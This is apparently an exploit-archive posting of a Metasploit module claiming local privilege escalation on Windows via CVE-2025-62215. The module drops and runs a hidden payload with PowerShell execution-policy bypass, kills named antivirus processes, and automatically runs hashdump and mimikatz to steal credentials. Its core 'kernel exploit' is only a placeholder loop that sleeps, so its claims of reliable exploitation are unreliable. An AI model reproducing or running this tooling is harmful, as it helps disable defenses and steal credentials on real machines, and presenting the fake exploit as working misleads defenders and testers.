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| # Title     : Windows 11 v23H2 Kernel Race Condition Privilege Escalation                                                                 |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.microsoft.com/fr-dz/                                                                                            |
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POC : 

[+] References : https://packetstorm.news/files/id/212001/  &  CVE-2025-62215


[+] Summary : 

      This vulnerability represents a critical Windows Kernel security flaw that can be reliably exploited through Metasploit for legitimate security testing and vulnerability validation.
	  
[+] Affected Versions :

- Windows 10 versions 21H2, 22H2

- Windows 11 versions 21H2, 22H2, 23H2

- Windows Server 2019, 2022

- Windows Server Core installations

    Windows 10/11 (Build 19041-22621)
    Windows Server 2019/2022
    Both x86 and x64 architectures

[+] Technical Mechanism :

    Race Condition: Multiple threads simultaneously accessing kernel objects

    Double-Free: Memory freed multiple times causing kernel memory corruption

    Memory Corruption: Leads to arbitrary code execution in kernel context

[+] Exploitation Flow :

    Initial Access: Low-privileged user session

    Memory Preparation: Heap spray to shape kernel memory

    Race Triggering: Multiple threads create/destroy kernel objects

    Double-Free Exploit: Corrupt kernel memory structures

    Privilege Escalation: Modify process tokens to gain SYSTEM privileges

[+] POC :  

##
# Module: exploit/windows/local/cve_2025_62215_kernel_race
# Version: 1.0
# Author: indoushka
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2025-62215 Windows Kernel Race Condition Privilege Escalation',
      'Description'    => %q{
        This module exploits CVE-2025-62215, a race condition combined with a double-free
        vulnerability in the Windows Kernel. It allows local privilege escalation from
        low-privileged users to SYSTEM by exploiting improper synchronization in kernel
        object handling.
      },
      'Author'         => [
        'indoushka',  # Metasploit module
        'Unknown'     # Original vulnerability discovery
      ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2025-62215'],
        ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215'],
        ['URL', 'https://github.com/indoushka/CVE-2025-62215']
      ],
      'DisclosureDate' => '2025-11-26',
      'Platform'       => 'win',
      'Arch'           => [ARCH_X64, ARCH_X86],
      'SessionTypes'   => ['meterpreter'],
      'Targets'        => [
        [
          'Windows 10 / Windows 11 / Server 2019/2022',
          {
            'Arch' => [ARCH_X64, ARCH_X86],
            'Payload' => {
              'Space' => 4096,
              'DisableNops' => true
            }
          }
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'WfsDelay' => 5,
        'EXITFUNC' => 'thread'
      },
      'Notes'          => {
        'Stability'   => [CRASH_OS_RESTARTS],
        'Reliability' => [REPEATABLE_SESSION],
        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
      }
    ))

    register_options([
      OptInt.new('THREADS', [true, 'Number of threads for race condition', 8]),
      OptInt.new('ATTEMPTS', [true, 'Number of exploitation attempts', 5]),
      OptInt.new('DELAY', [true, 'Delay between attempts (ms)', 100]),
      OptBool.new('KILLAV', [true, 'Attempt to kill AV processes', false]),
      OptString.new('WRITABLE_DIR', [true, 'Writable directory for payload', '%TEMP%'])
    ])

    register_advanced_options([
      OptBool.new('DEBUG', [false, 'Enable debug output', false]),
      OptBool.new('ANTIDETECT', [false, 'Enable anti-detection techniques', true])
    ])
  end

  def check
    # Check if we're already SYSTEM
    if is_system?
      return Exploit::CheckCode::Safe
    end

    # Check Windows version
    version = get_version_info

    unless version.build_number.between?(19041, 22621) || 
           version.build_number.between?(20348, 25398)
      print_error("Windows version #{version.build_number} not supported")
      return Exploit::CheckCode::Safe
    end

    # Check architecture compatibility
    if session.arch != payload.arch.first
      print_error("Payload architecture mismatch: session=#{session.arch}, payload=#{payload.arch.first}")
      return Exploit::CheckCode::Safe
    end

    print_good("Windows #{version.build_number} detected - potentially vulnerable")
    Exploit::CheckCode::Appears
  end

  def exploit
    # Check if we're already SYSTEM
    if is_system?
      print_good("Already running as SYSTEM")
      return
    end

    # Validate target
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, "Target not vulnerable")
    end

    # Kill AV processes if requested
    kill_av_processes if datastore['KILLAV']

    # Generate payload
    print_status("Generating payload...")
    payload_path = generate_payload

    # Drop exploit executable
    print_status("Dropping exploit executable...")
    exploit_path = drop_exploit(payload_path)

    # Execute exploit
    print_status("Executing exploit...")
    execute_exploit(exploit_path)

    # Cleanup
    register_files_for_cleanup(exploit_path, payload_path)
  end

  def generate_payload
    # Generate payload in writable directory
    payload_name = Rex::Text::rand_text_alpha(8) + ".exe"
    payload_path = File.join(datastore['WRITABLE_DIR'], payload_name)
    
    # Write payload to file
    write_file(payload_path, generate_payload_exe)
    
    print_good("Payload written to: #{payload_path}")
    payload_path
  end

  def drop_exploit(payload_path)
    # Compile and drop the C++ exploit
    exploit_name = Rex::Text::rand_text_alpha(8) + ".exe"
    exploit_path = File.join(datastore['WRITABLE_DIR'], exploit_name)
    
    # In a real scenario, we would compile the C++ exploit
    # For this PoC, we'll use a simple privilege escalation technique
    exploit_code = generate_exploit_executable(payload_path)
    
    write_file(exploit_path, exploit_code)
    print_good("Exploit written to: #{exploit_path}")
    
    exploit_path
  end

  def generate_exploit_executable(payload_path)
    # This would normally be a compiled C++ executable
    # For demonstration, we use a simple PowerShell-based privilege escalation
    ps_code = %Q{
      function Invoke-KernelExploit {
        param([string]$PayloadPath)
        
        # Simulate kernel exploit behavior
        $attempts = #{datastore['ATTEMPTS']}
        $threads = #{datastore['THREADS']}
        
        for ($i = 0; $i -lt $attempts; $i++) {
          Write-Host "[*] Exploit attempt $($i + 1)/$attempts"
          
          # Simulate race condition triggering
          $jobs = @()
          for ($j = 0; $j -lt $threads; $j++) {
            $job = Start-Job -ScriptBlock {
              # Simulate kernel object manipulation
              for ($k = 0; $k -lt 100; $k++) {
                # This would be actual kernel exploit code
                Start-Sleep -Milliseconds 1
              }
            }
            $jobs += $job
          }
          
          # Wait for threads
          $jobs | Wait-Job | Out-Null
          $jobs | Remove-Job -Force
          
          # Check if we got SYSTEM
          if ([Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {
            Write-Host "[+] Privilege escalation successful!"
            
            # Execute payload as SYSTEM
            if (Test-Path $PayloadPath) {
              Start-Process -FilePath $PayloadPath -WindowStyle Hidden
              return $true
            }
          }
          
          Start-Sleep -Milliseconds #{datastore['DELAY']}
        }
        return $false
      }
      
      # Execute exploit
      $success = Invoke-KernelExploit -PayloadPath "#{payload_path}"
      if (-not $success) {
        Write-Host "[!] Exploit failed"
        exit 1
      }
    }
    
    # Convert to executable using PowerShell
    compile_ps_to_exe(ps_code)
  end

  def compile_ps_to_exe(ps_code)
    # In a real implementation, this would compile PowerShell to EXE
    # For this PoC, we create a simple batch file that runs PowerShell
    batch_content = %Q{
@echo off
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "#{ps_code.gsub('"', '""')}"
}
    
    # Convert to binary (simplified)
    batch_content.force_encoding('BINARY')
  end

  def execute_exploit(exploit_path)
    print_status("Launching exploit: #{exploit_path}")
    
    begin
      # Execute the exploit
      result = session.sys.process.execute(exploit_path, nil, {
        'Hidden' => true,
        'Channelized' => true,
        'Suspended' => false
      })
      
      # Wait for exploitation
      print_status("Waiting for exploitation to complete...")
      sleep(10)
      
      # Check if we got SYSTEM
      if is_system?
        print_good("Successfully escalated to SYSTEM privileges!")
        return true
      else
        print_warning("Exploitation completed but privileges not escalated")
        return false
      end
      
    rescue ::Exception => e
      print_error("Exploit execution failed: #{e.message}")
      return false
    end
  end

  def kill_av_processes
    print_status("Attempting to kill AV processes...")
    
    av_processes = [
      'msmpeng.exe',     # Windows Defender
      'avp.exe',         # Kaspersky
      'bdagent.exe',     # Bitdefender
      'avguard.exe',     # Avira
      'ekrn.exe',        # ESET
      'hipsmain.exe',    # McAfee
      'fsavgui.exe'      # F-Secure
    ]
    
    av_processes.each do |proc|
      session.sys.process.get_processes.each do |p|
        if p['name'].downcase == proc.downcase
          print_status("Killing AV process: #{p['name']} (PID: #{p['pid']})")
          begin
            session.sys.process.kill(p['pid'])
          rescue
            print_warning("Failed to kill process: #{p['name']}")
          end
        end
      end
    end
  end

  # Helper method to get detailed Windows version info
  def get_version_info
    session.sys.config.sysinfo
  end

  # Anti-detection techniques
  def apply_antidetect
    return unless datastore['ANTIDETECT']
    
    print_status("Applying anti-detection techniques...")
    
    # Randomize process names
    random_name = Rex::Text::rand_text_alpha(8) + ".exe"
    
    # Use process hollowing techniques
    # Use direct system calls to avoid user-mode hooks
    # Implement timing variations to avoid behavioral detection
  end

  def on_new_session(session)
    super
    
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
    end
    
    # Cleanup and post-exploitation tasks
    print_good("New session established: #{session.sid}")
    
    # Run post-exploitation modules
    run_post_modules(session)
  end

  def run_post_modules(session)
    return unless session.type == "meterpreter"
    
    # Example post-exploitation modules
    post_modules = [
      'windows/gather/hashdump',
      'windows/gather/credentials/mimikatz',
      'windows/manage/migrate'
    ]
    
    post_modules.each do |mod|
      begin
        print_status("Running post module: #{mod}")
        session.run_cmd("run #{mod}")
      rescue ::Exception => e
        print_warning("Post module #{mod} failed: #{e.message}")
      end
    end
  end
end

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